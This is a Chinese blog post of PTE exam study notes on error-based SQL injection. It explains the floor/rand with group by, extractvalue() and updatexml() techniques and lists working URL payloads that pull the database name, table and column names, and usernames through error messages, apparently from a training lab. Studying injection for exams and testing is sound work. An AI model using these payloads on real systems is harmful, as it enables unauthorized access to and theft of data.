首页 > 数据库 >PTE笔记:SQL注入-报错注入

PTE笔记:SQL注入-报错注入

时间:2024-05-31 17:30:23浏览次数:12  
标签:information PTE 报错 select --+ 注入 id concat schema

适用于界面不回显的场景,通过注入语句在报错信息中回显我们想要的信息

常用函数1floor+rand 配合 count+group by函数

rand()  生成0-1之间的随机数,默认完全随机,加参数后固定随机(多次执行随机生成的数是固定的)

floor()取整

group by() 分组

count()计数

concat(字符串) 拼接字符串

group_concat(字段名) 拼接函数,针对列数据拼接

示例:#制造数据库错误信息,在错误信息中显示数据库名

?id=1' union select 1,count(*),concat((select database()),floor(rand(0)*2))  as a from information_schema.tables group by a --+

#找表名

?id=-1' union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 2,1),floor(rand(0)*2))  as a from information_schema.tables group by a --+

#找列名

?id=-1' union select 1,count(*),concat((select column_name from information_schema.columns where table_name='users' limit 1,1),floor(rand(0)*2))  as a from information_schema.columns group by a --+

#查找字段值

?id=-1' union select 1,count(*),concat((select username from users  limit 1,1),floor(rand(0)*2))  as a from information_schema.columns group by a --+

#常用函数2extractvalue() 报错

extractvalue(xml 对象,xpath_str)   从xml对象中返回查找到的字符串,返回长度限制在32位字符;Xpath_str 参数使用格式/xxx/xxx/xxx/,如果出现不符合上述格式的内容,就会报错;

示例:

?id=1' and extractvalue(1,concat("~",(select database()))) --+

?id=1' and extractvalue(1,concat("~",(select table_name from information_schema.tables where table_schema='security' limit 1,1))) --+

常用函数3updatexml()报错

updatexml(xml_target,xpath_expr,new_xml)

Xml_target:xml对象的名称,string

Xpath_expr:使用xpath路径格式,不符合格式就会报错;比如路径中出现~符号

New_xml:需要更新的内容

示例:

?id=1' and updatexml(1,concat('~',(select database()),'~'),1)  --+

?id=1' and updatexml(1,concat("~",(select table_name from information_schema.tables where table_schema='security' limit 1,1),"~"),1) --+

?id=1' and updatexml(1,concat("~",(select column_name from information_schema.columns where table_name='users' limit 2,1),"~"),1) --+

标签:information,PTE,报错,select,--+,注入,id,concat,schema
From: https://blog.csdn.net/xiaofengjia00/article/details/139358054

相关文章

  • 关于使用 conda create -n blog_project 创建项目的时候报错问题
    大致报错如下:Traceback(mostrecentcalllast):File"E:\ProgramData\anaconda3\Lib\site-packages\conda\exception_handler.py",line17,in__call__returnfunc(*args,**kwargs)^^^^^^^^^^^^^^^^^^^^^File&......
  • ECShop电商商城wholesale_flow接口处存在SQL注入漏洞
    ECShop电商商城wholesale_flow接口处存在SQL注入漏洞FOFA语句app="ECSHOP"app="ECSHOP"&&icon_hash="-164358497"SQL注入漏洞POST/wholesale_flow.php?step=ajax_update_cartHTTP/1.1Host:User-Agent:Mozilla/5.0(WindowsNT10.0;Win64......
  • vue 导出xlsx (报错./cptable in ./node modules/xlsx-style/dist/cpexcel.js)
    安装 xlsx 和  xlsx-stylesrc下创建文件夹utils, utils文件夹下创建index.js文件,index.js文件内容如下:*CreatedbyAnqion16/11/18.*//***Parsethetimetostring*@param{(Object|string|number)}time*@param{string}cFormat*@returns{stri......
  • SQL 注入漏洞
    目录一、快速学习数据库查询操作二、SQL注入简介与危害三、SQL注入实战四、SQL注入分类 (1)Union注入适用条件注入步骤实战1、判断是否有注入点2、使用orderby查询回显列数 3.判断显示位置4.获得数据库名字5.获得数据库里面的表6.获得数据库对应表中的所......
  • go tool compile 报错 could not import sync (file not found)
    前言Go版本:$goversiongoversiongo1.21.4darwin/amd64我想对go文件进行反汇编,然后就报错了:$gotoolcompile-Srace.gorace.go:3:8:couldnotimportsync(filenotfound)我就惊讶了一下,标准库怎么还能找不到呢?难道是我GOROOT配置错了?发现了问题原因原......
  • lora_adapter 模型和原模型合并成一个模型
    lora部分合并到原模型参数上importtorchfrompeftimportPeftModelfromtransformersimportAutoTokenizer,AutoModelForCausalLM,LlamaTokenizerfromtransformers.generation.utilsimportGenerationConfigdefapply_lora(model_name_or_path,output_path,lor......
  • 安装并运行pytorch报错“核心已转储”
    1问题和解决概要主机环境:Ubuntu20.04,RTX3090,GPUDriverVersion525.89.02问题:用anaconda创建虚拟环境python3.10,安装pytorch2.2.2-cu118和对应torchvision后,训练模型出现报错:“核心已转储”。定位和解决:查阅资料,确认driver支持cuda-11.8,主机安装cuda-11.8后编译一个sample......
  • 新版Python安装,新手入门必看,报错分析
    第一次接触Python的朋友,可能会在安装的过程中遇到很多问题,下面会详细的指出可能出现的各种状况、以及应对方法,让新入行的朋友也可上手安装,并且完成第一个Helloworld代码。【Python安装】一、打开python官网点击下载搜索并打开官网进入页面后点击导航中的Downloads进入下载......
  • 全国节能宣传周来了!天翼云电脑为绿色低碳注入科技动能!
    5月13日至19日是2024年全国节能宣传周活动,今年的主题为“绿色转型,节能攻坚”。在当今全球气候变化日益严峻的背景下,节能减排、绿色发展已成为全球共识。中国电信天翼云积极履行央企社会责任担当,践行绿色低碳发展理念,创新节能技术,打造天翼云电脑等系列产品,赋能千行百业低碳绿色发展......
  • SQL Server报错:数据库"YourDatabaseName"的事务日志已满,原因为"LOG_BACKUP"
      通过以下代码可以收缩日志,执行完后就不报错了。--设置简单模式USE[master]GOALTERDATABASEYourDatabaseNameSETRECOVERYSIMPLEWITHNO_WAITGOALTERDATABASEYourDatabaseNameSETRECOVERYSIMPLEGO--设置压缩后的日志大小为2M,可自定义USEY......